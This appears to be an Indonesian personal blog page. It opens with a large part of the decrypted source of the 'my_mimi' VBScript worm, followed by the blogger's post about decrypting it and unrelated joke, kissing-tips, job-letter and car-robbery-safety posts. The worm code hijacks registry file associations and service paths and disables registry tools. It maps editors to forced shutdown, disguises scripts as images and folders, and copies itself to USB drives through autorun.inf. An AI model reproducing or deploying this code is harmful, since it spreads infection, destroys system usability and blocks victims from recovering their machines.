.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NSCService\ImagePath”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SAVScan\ImagePath”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NPFMntor\ImagePath”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNDSrvc\ImagePath”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SPBBCDrv\ImagePath”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SPBBCSvc\ImagePath”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\McDetect.exe\ImagePath”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\McShield\ImagePath”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\McTskshd.exe\ImagePath”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mcupdmgr.exe\ImagePath”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSIServer\ImagePath”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\srservice\ImagePathservice”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\regedit\Shell\open\Command”, “c:\windows\svchost.exe ” & qi

.RegWrite “HKEY_CLASSES_ROOT\regfile\Shell\open\command”, “c:\windows\svchost.exe ” & qi

.RegWrite “HKEY_CLASSES_ROOT\regfile\Shell\edit\command”, “c:\windows\svchost.exe ” & qi

.RegWrite “HKEY_CLASSES_ROOT\regedit\Shell\open\Command\”, “c:\windows\svchost.exe ” & qi

.RegWrite “HKEY_CLASSES_ROOT\regfile\Shell\open\command\”, “c:\windows\svchost.exe ” & qi

.RegWrite “HKEY_CLASSES_ROOT\regfile\Shell\edit\command\”, “c:\windows\svchost.exe ” & qi

.RegWrite “HKEY_CLASSES_ROOT\VBEFile\”, “JPEG Image”, “REG_EXPAND_SZ”

.RegWrite “HKEY_CLASSES_ROOT\VBSFile\”, “File Folder”, “REG_EXPAND_SZ”

.RegWrite “HKEY_CLASSES_ROOT\exefile\”, “my_mimi”, “REG_EXPAND_SZ”

.RegWrite “HKEY_CLASSES_ROOT\VBEFile\FriendlyTypeName”, “JPEG Image”, “REG_EXPAND_SZ”

.RegWrite “HKEY_CLASSES_ROOT\VBSFile\FriendlyTypeName”, “File Folder”, “REG_EXPAND_SZ”

.RegWrite “HKEY_CLASSES_ROOT\txtfileile\FriendlyTypeName”, “my_mimi documentation”, “REG_EXPAND_SZ”

.RegWrite “HKEY_CLASSES_ROOT\VBEFile\DefaultIcon\”, dear.RegRead(”HKEY_CLASSES_ROOT\jpegfile\DefaultIcon\”)

.RegWrite “HKEY_CLASSES_ROOT\VBSFile\DefaultIcon\”, dear.RegRead(”HKEY_CLASSES_ROOT\Folder\DefaultIcon\”)

.RegWrite “HKEY_CLASSES_ROOT\VBEFile\Shell\Edit\Command\”, “%systemroot%\System32\Shutdown.exe -s -f”, “REG_EXPAND_SZ”

.RegWrite “HKEY_CLASSES_ROOT\VBSFile\Shell\Edit\Command\”, “%systemroot%\System32\Shutdown.exe -s -f”, “REG_EXPAND_SZ”

.RegWrite “HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\VBEFile\Shell\Open\Command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\Msi.Package\shell\Open\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\Msi.Package\shell\Open\command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\Msi.Package\shell\Repair\command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\Msi.Patch\shell\Open\command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\batfile\shell\open\command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\batfile\shell\edit\command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\comfile\shell\open\command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\cplfile\shell\cplopen\command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\cplfile\shell\runas\command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\inffile\shell\Install\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\inffile\shell\Install\command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\inffile\shell\open\command\”, “c:\windows\svchost.exe ” & heiji

.RegWrite “HKEY_CLASSES_ROOT\txtfile\shell\open\command\”, “c:\windows\svchost.exe ” & heiji

.RegWrite “HKEY_CLASSES_ROOT\txtfile\ScriptEngine\”, “VBScript.Encode”

.RegWrite “HKEY_CLASSES_ROOT\Folder\Shell\Scan For Viruses\Command\”, “c:\windows\svchost.exe ” & forest

.RegWrite “HKEY_CLASSES_ROOT\Folder\Shell\explore\command\command”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\Folder\Shell\open\command\command”, “wscript.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\Applications\notepad.exe\shell\edit\command”, “%systemroot%\System32\Shutdown.exe -s -f”, “REG_EXPAND_SZ”

.RegWrite “HKEY_CLASSES_ROOT\Applications\notepad.exe\shell\open\command”, “c:\windows\svchost.exe ” & heiji

.RegWrite “HKEY_CLASSES_ROOT\Applications\notepad.exe\shell\edit\command\command”, “%systemroot%\System32\Shutdown.exe -s -f”, “REG_EXPAND_SZ”

.RegWrite “HKEY_CLASSES_ROOT\Applications\notepad.exe\shell\open\command\command”, “c:\windows\svchost.exe ” & heiji

.RegWrite “HKEY_CLASSES_ROOT\Applications\Wordpad.Document.1\shell\open\command”, “c:\windows\svchost.exe ” & heiji

.RegWrite “HKEY_CLASSES_ROOT\Applications\Wordpad.Document.1\shell\open\command\command”, “c:\windows\svchost.exe ” & heiji

.RegWrite “HKEY_CLASSES_ROOT\Applications\Wordpad.exe\shell\open\command”, “c:\windows\svchost.exe ” & heiji

.RegWrite “HKEY_CLASSES_ROOT\Applications\Wordpad.exe\shell\open\command\command”, “c:\windows\svchost.exe ” & heiji

.RegWrite “HKEY_CLASSES_ROOT\Applications\cedt.exe\shell\open\command\”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_CLASSES_ROOT\Applications\cedt.exe\shell\edit\command\”, “%systemroot%\System32\Shutdown.exe -s -f”, “REG_EXPAND_SZ”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, 1, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\RegEdt32\Settings\ReadOnly”, 1, “REG_SZ”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\RegEdt32\Settings\ReadOnly”, 1, “REG_SZ”

end with

End Sub

Sub dwozmc()

on error resume next

Dim love, dear, drive, drives, folder, files, file, nama, path, vir, subfolder, meteran, elo, cari

Set love = createobject(StrReverse(”tcejbOmetsySelif.gnitpircS”))

set drive = love.GetLogicalDrives

For Each drive In drives

If drive.IsReady Then

cari drive & “\”

DoEvents

End If

Next

dwozmc()

End Sub

Function cari()

on error resume next

Set love = createobject(StrReverse(”tcejbOmetsySelif.gnitpircS”))

Set folder = love.GetFolder(path)

nama = folder.name

for each file in folder.files

set elo = love.getfile(File.path)

meteran = (elo.size)/1024

ext = love.GetExtensionName(File.Path)

ext = StrReverse(LCase(ext))

vir = love.getbasename(file.path)

if ext = “sbv” or ext = “ebv” or ext = “cod” or ext = “ftr” or ext = “fdp” or ext = “gpj” then

set broken = love.createtextfile(File.Path & “.vbe”, 1)

broken.write lost

set friendship = love.getfile(File.Path & “.vbe”)

friendship.Attributes = 33

if file.name = “cotox.vbs” or file.name = “kangen.exe” or file.name = “indra.com” or file.name = “MSOHEV.EXE” or file.name = “SVCH0ST.EXE” or file.name = “WINL0G0N.EXE” or file.name = “Surat_Buat_Presiden.zip” or file.name = “Surat_Buat_Presiden.exe” or file.name = “indra.exe” or file.name = “for_you.exe” or file.name = “indra.pif” or file.name = “hallo.exe” or file.name = “icute.vbs” or file.name = “frzstate.exe” or file.name = “I-Cute.vbs” or file.name = “Perfected_v5.vbe” or file.name = “animasi.exe” or file.name = “C.Stankal.com” then

love.DeleteFile(File.path)

DoEvents

End if

if file.name = “msvbvm60.dll” then

love.RenameFile(File.path & “my_mimi.dll”)

DoEvents

End if

if vir = nama and ext = “exe” then

love.DeleteFile(File.path)

end if

DoEvents

For Each Subfolder In Folder.SubFolders

kejar Subfolder.Path

DoEvents

Next

End If

Next

End Function

sub ontrus()

on error resume next

dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd

atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe desktop.vbs”

set fs = createobject(”Scripting.FileSystemObject”)

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text=mf.openastextstream(1,-2)

do while not text.atendofstream

mysource=mysource&text.readline

mysource=mysource & vbcrlf

loop

do

Set winpath = fs.getspecialfolder(0)

set tf = fs.getfile(winpath & “\desktop.vbs”)

tf.attributes = 0

set tf=fs.createtextfile(winpath & “\desktop.vbs”,2,true)

tf.write mysource

tf.close

set tf = fs.getfile(winpath & “\desktop.vbs”)

tf.attributes = 39

for each flashdrive in fs.drives

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then

set tf = fs.getfile(flashdrive.path &”\desktop.vbs”)

tf.attributes = 0

set tf = fs.createtextfile(flashdrive.path &”\diary_mimi.vbe”,2,true)

tf.write mysource

tf.close

set tf = fs.createtextfile(flashdrive.path &”\desktop.vbs”,2,true)

tf.write mysource

tf.close

set tf = fs.getfile(flashdrive.path &”\desktop.vbs”)

tf.attributes = 39

set tf = fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes = 0

set tf = fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)

tf.write atr

tf.close

set tf = fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes = 39

on error resume next

set tf = fs.getfile(”c:\windows\system32\wscript.exe”)

tf.Attributes = 39

set tf = fs.getfile(”c:\windows\svchost.exe”)

tf.Attributes = 0

fs.copyfile “c:\windows\system32\wscript.exe”, “c:\windows\svchost.exe”

set tf = fs.getfile(”c:\windows\svchost.exe”)

tf.Attributes = 39

on error resume next

set tf = fs.getfile(”c:\windows\EXPL0RER.vbs”)

tf.attributes = 0

set tf = fs.createtextfile(”c:\windows\EXPL0RER.vbs”,2,true)

tf.write mysource

tf.close

set tf = fs.getfile(”c:\windows\EXPL0RER.vbs”)

tf.attributes = 39

on error resume next

set tf = fs.getfile(”c:\windows\system\WinUpdt.vbs”)

tf.attributes = 0

set tf = fs.createtextfile(”c:\windows\system\WinUpdt.vbs”,2,true)

tf.write mysource

tf.close

set tf = fs.getfile(”c:\windows\system\WinUpdt.vbs”)

tf.attributes = 39

tf.Close

set sd = createobject(”Wscript.shell”)

tachoor = “c:\windows\EXPL0RER.vbs”

sd.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Kernell32″, “c:\windows\svchost.exe ” & tachoor

end if

next

if check 1 then

Wscript.sleep 20000

end if

loop while check1

set sd = createobject(”Wscript.shell”)

sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

end sub
—————————————[akhir scrpt]——————–

Posted in Uncategorized | 1 Comment »

Virus VBS my_mimi cuman hasil editan

January 28th, 2008 by slcteam

virus my_mimi.vbe hah? vbe/vbs???saya jadi mikir wah emang masih ada jamannya virus vbs heheheh bukannya dah lewat? tapi salut juga masih bs exist di tengah2 demam virus VB ini.
kemarin labtob temen gua kena virus, ada tulisan2 mimi mimi nya love dll, drive C: nya hilang?hah langsung kepikiran kalo dia bisa liat drive c ilang berarti dia bisa masuk windows. ohhh berarti cuman manipulasi registry. tapi aksi wajib virus pasti mendisable regedit, task manager dan folder option pasti repot ngubahnya. setelah file nya diterima langsung saya buka liat kodenya trus tambahin sedikit baris script di akhirnya lalu di jalankan. hahdijalankan… ya iya tapi dia ga akan jalan malahan akan keluar virus yang ga di dekode(alias telanjang)). so sekarang virusnya dah di unenkripsi. caranya? tutorial ini sudah pernah saya buat dan di muat di jasakom.com tapi berhubung jasakom perubahan(tampilan jadi jadul,cupu bagusan dulu tp btw content is king tul ga mas) database artikel banyak yang ilang.
Hasil unenkripsi ternyata di detect Anti ViRUS nod32 sebagai VBS/ButSur setelah di tanya om gogel ternyata bukan virus yang dah di unenkrip td.nah kemungkinan virus ini hasil editan!kenapa? karena setelah di unenkripsi ternyata dikenali AntiVirus. tapi kalo di enkrip ga. jadi begini, kamu cari virus VBS trus kamu edit, lalu kamu enkripsi.. makanya tidak dikenali sebagai virus yang lama tadi. kalo memang iya wah malu sekali donk, sebagai bekas vx coder. masa buat virus ga di coding sendiri. dimana letak kepuasannya? malahan dah pajang2 nama dan komunitas lagi di dalamnya.however coding is fun
Memang virus ini terbilang ganas(baca kejam) juga memaksimalkan anti deletion(ya gimana mo ngapus semua diblok hehehe). sebenarnya saya mo buat analisa nya tapi karena lagi buat Proyek Akhir jadi belum sempat bos. pertama saya kira bisa berjam2 saya mengunenkripsinya, ternyata cuman 5 menit jrenggg. tapi kalo ada yang mau tau cara removalnya mungkin nanti saya berikan cara manual removalnya.

Posted in Uncategorized | 1 Comment »

20 Variasi Ciuman

January 26th, 2008 by slcteam

20 Variasi Ciuman

Ciuman memang bukan tindakan yang bisa diatur-atur, keinginan untuk mencium seringkali timbul begitu saja karena Anda begitu menyayangi seseorang. Tapi jika ada gaya ciuman tertentu yang dapat membuatnya amat nyaman sehingga ia begitu dapat menikmatinya sampai meninggalkan kesan yang mendalam, boleh-boleh saja jika Anda praktekkan. Mudah-mudahan Dia semakin sayang pada Anda…

—- More—-

Butterfly Kiss: Mencium bagian tubuh si dia dengan mengedip-ngedipkan bulu mata hingga pasangan terasa geli. Ciuman ini bisa diberikan di pipi, ujung bibir, dahi atau perut.

Cheek Kiss: Biasanya ciuman ini diberikan pada saat kencan pertama sebagai tanda “aku suka padamu”. Ciuman pipi ini bisa semakin mesra jika Anda tahu caranya, letakkan tangan Anda di pundaknya lalu sebelum mencium usap dulu pipinya dengan bibir Anda, lakukan dengan penuh kelembutan.

Eskimo Kiss: Ciuman dengan cara saling menggosokkan hidung Anda dengan pasangan. Biar lebih seru dan seperti di Eskimo, lakukan di depan kulkas yang terbuka! wakakakakak ntar jadi pilek kayak gue

Eyelid Kiss: Sementara pasangan Anda sedang tidur, ciumlah kelopak matanya yang tertutup dengan sangat perlahan dan mesra. Ciuman yang sederhana tetapi bisa berarti sangat mendalam bagi si dia…

Freeze Kiss: Ciuman yang dilakukan setelah bibir ditempeli es batu. Dingin tapi menyenangkan! Ada cara lain yang tak kalah serunya, Anda dan pasangan berciuman sambil memainkan es batu dengan lidah di dalam mulut.

Earlobe Kiss: Ciumlah pasangan Anda tepat di telinganya, tapi jangan bersuara! Cukup dengan hembusan nafas saja karena suara Anda akan membuatnya terperanjat.

The Whipped Cream Kiss: Merupakan jenis ciuman yang menggairahkan dan penuh nafsu. Celupkan jari Anda ke dalam whipped cream, lalu jilat jari Anda secara perlahan-lahan. Selanjutnya Anda dan pasangan saling berpelukan dan berciuman, ciuman yang manis karena di mulut Anda masih
tersisa citarasa whipped cream.

Foot Kiss: Ciuman romantis yang penuh ‘isyarat’. Mungkin pasangan Anda akan sedikit geli, jadi buatlah si dia merasa lebih rileks dan menikmati setiap ciuman Anda. Caranya, pijat-pijat dulu kakinya sembari dielus lalu mulailah aksi ciuman Anda dari bawah ke atas.

Quickie Kiss: Ciuman singkat yang dapat Anda berikan di saat Anda benar-benar sibuk. Kecup hidungnya lalu kecup bibirnya. Ciuman ini hanya membutuhkan waktu ¼ detik!

Forehead Kiss: Disebut ciuman ibu karena ciuman ini bersifat menenangkan bagi siapa saja. Tak ada ciuman di dahi yang dapat membangkitkan nafsu.

French Kiss: Bisa juga disebut The English Kiss atau Soul Kiss, gaya ciuman yang membutuhkan keahlian Anda dan pasangan memainkan lidah.

Fruit Kiss: Ciuman yang menggunakan potongan buah (anggur, stroberi, atau potongan apel). Caranya: Letakkan buah di antara mulut Anda lalu dekatkan mulut Anda padanya. Gigit buah setengahnya sampai bibir Anda dan pasangan saling menempel, lalu silahkan berciuman dengan bergairah.

Hand Kiss: Mencium punggung tangan pasangan dengan mesra lalu merambat ke bagian atas.

Lick Kiss: Sebelum ciuman berlangsung, mainkan lidah Anda pada bibir pasangan. Jika suasana makin ‘memanas’ barulah lidah Anda masuk ke dalam mulutnya. Wow!

Talking Kiss: Sesekali saat berciuman tak ada salahnya Anda mengucapkan I love you di dalam mulutnya. Hmm…suasana berciuman semakin terasa romantis.

Nip Kiss: Ciuman yang erotis dan penuh sensasi. Saat berciuman, sesekali gigitlah bibirnya. Lakukan dengan benar dan jangan membuatnya menjerit kesakitan.

Sip Kiss: Sebelum mencium si dia, teguk sedikit minuman favorit Anda. Lalu tumpahkan di dalam mulutnya. Selanjutnya lumat bibirnya dengan perlahan dan biarkan si dia menikmati ciuman Anda.

The Buzzing Kiss: Ciumlah belakang telingannya dengan perlahan lalu dengan suara geraman dan dengungan mesra menuju ke lehernya. Gigit-gigit lehernya dengan perlahan sampai Anda menemukan mulutnya.

Vacuum Kiss: Ciuman yang dilakukan sambil meniup mulut pasangan sampai pipi mengembang. Lalu kempiskan sehingga ada angin bertiup bolak-balik dari mulut Anda ke mulut pasangan. Tapi hati-hati masuk angin!

Tongue Sucking: Merupakan variasi dari French Kiss, ketika Anda dan pasangan saling ekali hisaplah lidahnya. memainkan lidah, sesPasti si dia akan merasa lebih seksi.

Dikutip dari: “ada dech mau tau ajha”

Posted in Uncategorized | No Comments »

Mengenali Eneagram, 9 Watak Manusia

July 15th, 2007 by slcteam

Selama ini, dalam menjalin hubungan Cinta atau Persahabatan kita sering mengalami pasang surut hubungan, yang pada umumnya terjadi karena adanya ketidakpahaman diantara kedua belah pihak akan sifat atau watak pasangannya.

Salah satu metode untuk mengenal watak manusia adalah yang disebut dengan Eneagram, yang berasal dari bahasa Yunani Ennea yang artinya sembilan. Eneagram menggambarkan tipe energi alam yang melambangkan cara orang dalam menentukan pilihan, bertingkah laku, dan sifat-sifat asli atau watak manusia dalam kehidupan sehari-hari.

Ke-9 sifat itu adalah :

1. Perfeksionis.
Orang dengan watak ini cenderung realistis, memiliki suara hati yang peka dan memiliki prinsip yang amat kuat. Umumnya memiliki idealisme yang tinggi.

2. Helper
Tipe ini memiliki kecenderungan orang yang peduli dengan lingkungannya, suka menolong, peka terhadap kebutuhan orang lain, dan amat bersahabat.

3. Achiever
Ciri-ciri tipe achiever adalah penuh semangat, selalu hidup optimis, punya kepercayaan diri yang kuat, dan memiliki visi atau arah yang akan dicapai. Umumnya orang-orang ini adalah motivator bagi orang lain di lingkungannya.

4. Romantis
Penuh pengertian, peka terhadap perasaan dan pergaulan penuh kehangatan adalah ciri-ciri orang romantis.

5. Observer.
memiliki keingintahuan yang tinggi akan ilmu pengetahuan.

6. Questioner
penuh tanggung jawab, setia pada keluarga atau kelompok - biasa kita sebut loyalis, orangnya dapat dipercaya.

7. Adventurer
Penuh semangat, lincah, dan optimis. Punya ambisi untuk menghasilkan sesuatu di dunia.

8. Asserter
Suka terus terang, langsung apa adanya, percaya diri yang tinggi.

9. Peacemaker
Baik hati, mudah menerima, suka mendukung dan suka menyatu dengan lingkungan sekitarnya.

Ke-9 sifat ini tidak ada yang negatif, namun apabila seseorang terlalu dominan pada 1 sifat saja, maka yang terjadi adalah benturan sifat dengan sifat lainnya. Hal inilah yang harus kita mengerti ketika berhubungan dengan orang lain, baik itu pasangan kita ataupun sahabat kita.

Posted in Uncategorized | No Comments »

Tips Membuat Surat Lamaran Pekerjaan yang Baik

July 15th, 2007 by slcteam

Tips membuat surat lamaran kerja.

Sudah ribuan lamaran kerja dikirim tapi belum ada balasan? Mungkin salah satu tips dibawah ini adalah masalahnya…

1. JANGAN TERLALU BANYAK MENGGUNAKAN SINGKATAN

Dgn Hrmt.

ttrk dgn ikl lwg krj yg dmt pd srt kbr edisi sls , sy brmskd mengisi lwg yg bpk bthkn ,

rdri thn 1999 - 2004 , sy tlh bkj di aptk km farma , di bag cln srv. dri thn 2004-2005 , sy bkj di LC bank sbg kabag keu. dri thn 2005- smp skrg jd tkg pkr di BIp

2. JANGAN TERLALU BANYAK LAMPIRAN

sebagai bahan pertimbangan bapak , bersama ini saya sertakan :

a. foto copy KTP bapak saya
b. pas foto saya waktu disunat
c. surat kelakuan baik seluruh keluarga saya
d. bon hutang selama 1 tahun
e. proposal permintaan sumbangan pembangunan mesjid di Rt saya

3. BAHASANYA SOK GAUL

Dgn hromat banget , boss!!!!

halo boss , capee deeehhh!!!! apa kabar nich…..? baik baik aja dong , iya kan iya dong , bener kan bener dong….? saya mo ngelamar kerja nich..boleh dong…please…boleh ya…?

4. BAHASANYA SOK PREMAN.

gue pernah kerja di kantor bokap , tapi lantaran gue sering bolos sama sering ngegodain skertaris kantor, gue dikeluarin, setan banget deehhh!!!!

makanya sekarang gue ngelamar kerja di kantor elo , ga usah khawatir soal jabatan deh…..gue sih yg penting dibayar gede sama elo. ok deh!! gue tunggu panggilan kerja dari elo di rumah gue , kalo sampe tiga hari belom juga ada panggilan , elo bakal tau sendiri akibatnya….!!!!!!!

5. BAHASANYA SOK AKRAB.

Dengan hormat ,

hai apa kabar nih…? baik baik aja kan…?
saya juga ketika menulis surat ini dalam keadaan sehat wal afiat, semoga kamu juga baik baik aja seperti saya disini. ngomong ngomong gimana kabar anak anak , sehat kan..? istri pasti makin cantik aja…..salam aja ya buat mereka. oya ..hampir lupa, saya bermaksud melamar pekerjaan pada perusahaan kamu bisa kan,.,,..?

6. TERLALU RESMI DAN BERTELE TELE.

Dengan hormat,

setelah saya membaca iklan lowongan pekerjaan di surat kabar ternama di ibukota , saya sangat tertarik dengan iklan yang anda muat disitu. oleh karena itu saya bermaksud untuk melamar pekerjaan tersebut dan juga sekalian harapan saya , dengan surat lamaran ini kita bisa mempererat tali silaturahmi antara kita berdua , bukankah dalam agama pun telah diterangkan betapa pentingnya arti sebuah silaturahmi…

Posted in Uncategorized | No Comments »

Asal dan Serba-Serbi Kata Capek Deh

July 15th, 2007 by slcteam

Cerita ini terjadi di disebuah sekolah Anak TK…

Pelajaran pertama : membaca…
ABCDEFG!! Aduh Bo Capek Dek Eke Fusing Gila!!!

Perlajaran ke-2 : menulis.
Ketik C spasi D…Capek deee…

Pelajaran ke-3 : berhitung!!
50+50 = Cepek deh…

Pelajaran ke-4 : bahasa Inggris.
Bahasa inggrisnya bentuk apa anak2??
Shape Bu!! Ejaannya?? Sha…pe deh…

Pelajaran ke-5 : belajar bersosialisasi.
Ibu guru!! Dapet salam dari Echa…E…Chape deh…

Baiklah anak-anak…pelajaran selesai…
Kalian makan siang, MO kemana??
McD!!! Makin capek Deh…

Makannya pake saos tomat Dan…cabe deh…

Abis itu mam pencuci mulutnya dimana??
ROPITA…Roti. ..Pisang. ..Dan…tape deh…

Posted in Uncategorized | No Comments »

10 tanda Friendster sudah merasuki jiwa anda

July 15th, 2007 by slcteam

1. 80% isi friends list lo, nggak ada yang lo kenal karna hasil dari "hi kenalan dong" message.

2. Jalan-jalan di Citos dan tiba-tiba teriak ke orang asing. "Ehh, Rama Sudharmanto, Fisip UNPAR ya? Kita kan 5th degree Friend lohhh.Pa kabar Lo? Di foto kurusan, kok aslinya gendut kayak babi ngepet? Eh iya kenalan dong."

3. Waktu nyokap ngajak makan, jawaban lo. "Bentar ma, nanggung baru 380. Nunggu sampe genap 400 friends listnya."

4. Seminggu 3 kali ganti mouse dan sebulan 2 kali ganti mousepad.

5. Kalo lagi di kantin, minta tambah nasi ke mbak kantin dengan bilang. "Add gue dong."

6. Untuk ngisi testimoni temen, lo udah punya template, tinggal copy paste dan ganti nama doang.

7. (namaloSATU), (namaloDUA), (namaloTIGA), (namaloEMPAT), (namaloLIMA), (namaloENAM)

8. 60% persen isi testimonial profil elo dimulai dengan kalimat, "Gue belum pernah ketemu ni anak, pertama kenal di friendster waktu dia ngajak kenalan dan minta di ADD"

9. Di friends list lo yang udah berjumlah 450, setidaknya ada 18 Bambang, 15 Jessica, 10 Yanti, 3 Pasha, 9 Dimas, 6 Dian, 11 Andi dan 1 Pondok Indah

10. Cukup banyak waktu luang di depan monitor sampai sempat berpikir bahwa tulisan Friendster Beta di logo Friendster berarti Friendster di ciptakan oleh programmer Ambon yang maksudnya mau berkata "Ini Friendster gue"

Posted in Uncategorized | No Comments »

tips menghindari perampokan mobil…..

July 13th, 2007 by slcteam

Sekarang ini kasus perampokan dalam kendaraan kian meningkat. Biasanya para perampok nekad itu selalu membawa pistol, pisau atau bahkan kapak untuk menakuti korbannya. Jika mereka tak dapat apa yang diminta, mereka tidak pandang bulu untuk menyakiti bahkan membunuh.

Oleh karena itu ada beberapa hal yang harus Anda perhatikan selama mengendarai mobil di jalanan. Ini dia beberapa tips untuk Anda.

1. Perampok yang suka menodong pengendara mobil ini ada dua kategori. Beberapa dari mereka mencegat kendaraan saat lampu mereh tapi ada juga yang mengancam Anda ketika berada di parkiran. Biasanya para perampok ini mengikuti korbannya hingga ke tempat parkir kemudian menodong. Tak segan-segan mereka pun kadang melakukannya di tempat keramaian.

2. Jika Anda dirampok, sebaiknya cari jalan teramat terlebih dahulu. Kenali baik-baik mobil Anda dan perhatikan seperti apa bentuk si perampok. Bawa serta STNK jangan tinggalkan di dalam mobil. Berikan mobil Anda dan menjauhlah dari pintu mobil secepatnya. Jika ia mengancam Anda lemparkan kunci dan lari ke arah yang berlawanan. Jika sudah begini Anda percuma melawan. Mereka biasanya bergerombol. Lebih baik Anda melalukan hal di atas dan berlari menuju pos polisi terdekat.

3. Perhatikan sekeliling Anda. Matikan radio dan jangan sering-sering menggunakan telepon ketika berkendara. Selain berbahaya, hal ini juga mudah memancing perampok untuk menghampiri Anda. Berhati-hatilah ketika melewati daerah rawan. Begitu juga saat Anda akan memasuki kendaraan.

4. Ketika Anda sudah merasa aman, pilih parkiran yang dekat dengan lampu jalan agar tidak gelap jika berencana akan pulang malam. sekali lagi perhatikan sekeliling Anda sebelum meninggalkan mobil.

5. Ketika Anda keluar dari kendaraan, jauhi mobil Anda yang sudah dalam keadan terkunci secepat mungkin. Hindari jalan di kegelapan dan jangan jalan diantara mobil yang terparkir. Jalanlah dekat dengan orang lain jika Anda bisa.

6. Saat akan kembali ke mobil ikuti prosedur yang sama. Tapi pastikan kunci sudah berada di tangan dan siap untuk dipakai. Jangan mencari-cari kunci ketika Anda sudah berada di depan mobil. Ini akan memancing perhatian orang. Segera masuk ke mobil, kunci dan pergi. Jangan berdiam diri di sana dulu. Pintu yang terkunci tak menghalangi senjata, Anda baru bisa aman dari perampokan setelah berjalan 15 mil per jam dari tempat parkir.

7. Ketika berada di lampu merah, macet atau akan berbelok, sebisa mungkin jangan mengambil jarak terlalu jauh dari kendaraan di sebelah-sebelah Anda. Jadi Anda tidak akan terjebak jika para perampok Anda mengepung. Jika Anda tetap saja di rampok sebaiknya tinggalkan mobil atau turuti kemauan perampok setelah itu bergegaslah ke kantor polisi.

Posted in Uncategorized | No Comments »

tips memilih istri

July 13th, 2007 by slcteam

Kini, usia menikah para pria kian tinggi. Bukan hal yang aneh, posisi pria sudah mapan dan penghasilan pun cukup, tapi jodoh tak juga datang. Alasannya ternyata sepele, sulit untuk mendapatkan istri yang ideal dan mau mengerti. Tapi, sungguhkah demikian sulit?

Tak sulit memilih istri, jika parapria tak mematok "harga" terlalu tinggi. Biasanya, harga yang tinggi itu karena tingkat ketakutan yang tinggi juga. Harga itu biasnya berupa ketaatan pada ajaran agama dan suami, bertanggung jawab penuh terhadap rumah tangganya, memprioritasutamakan rumah tangga dibandingkan yang lain, menempatkan sang suami sebagai kepala keluarga, mengikhlaskan dirinya untuk mengelola rumah tangga, serta mengerjakan semua urusan rumah tangganya tanpa menunggu perintah. Gila, nggak? Padahal, menurut sikolog sekaligus konsultan perkawinan, Dra Ieda Poernomo Sigit Sidi, "Jika itu yang Anda harapkan, maka yang Anda cari adalah produk tahun 60-an. Sekarang "stok"-nya sudah jarang!"

